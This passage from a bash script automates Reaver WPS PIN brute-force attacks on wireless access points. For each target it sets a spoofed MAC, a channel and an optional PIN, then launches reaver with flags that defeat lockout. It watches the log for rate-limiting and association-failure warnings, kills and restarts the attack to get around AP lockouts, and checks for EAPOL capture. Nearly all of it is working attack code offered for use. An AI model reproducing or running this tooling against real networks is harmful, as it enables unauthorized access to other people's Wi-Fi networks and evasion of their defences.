	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R27 == y || $USE_R27 == Y ]] && [[ $USE_LONG27 == n || $USE_LONG27 == N ]] && [[ $USE_PIN27 == y || $USE_PIN27 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME27"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL27"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP27"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX27" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY27"
echo -e "$info Reaver live time                   = $yel$LIVE27 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME27-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL27 -b $TARGETAP27 -vv -x 60 -r $RX27:$RY27 --pin=$WPS_PIN27 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME27-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE27-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R27 == n || $USE_R27 == N ]] && [[ $USE_LONG27 == y || $USE_LONG27 == Y ]] && [[ $USE_PIN27 == y || $USE_PIN27 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME27"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL27"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP27"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE27 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME27-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL27 -b $TARGETAP27 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN27 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME27-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE27-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R27 == y || $USE_R27 == Y ]] && [[ $USE_LONG27 == y || $USE_LONG27 == Y ]] && [[ $USE_PIN27 == y || $USE_PIN27 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME27"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL27"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP27"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX27" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY27"
echo -e "$info Reaver live time                   = $yel$LIVE27 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME27-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL27 -b $TARGETAP27 -r $RX27:$RY27 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN27 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME27-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE27-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE27 == n ] || [ $KEEP_FILE27 == N ]; then

          rm VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R28 == n || $USE_R28 == N ]] && [[ $USE_LONG28 == n || $USE_LONG28 == N ]] && [[ $USE_PIN28 == n || $USE_PIN28 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME28"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL28"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP28"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE28 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME28-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL28 -b $TARGETAP28 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME28-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE28-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R28 == y || $USE_R28 == Y ]] && [[ $USE_LONG28 == n || $USE_LONG28 == N ]] && [[ $USE_PIN28 == n || $USE_PIN28 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME28"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL28"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP28"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX28" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY28"
echo -e "$info Reaver live time                   = $yel$LIVE28 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME28-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL28 -b $TARGETAP28 -vv -x 60 -r $RX28:$RY28 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME28-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE28-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`


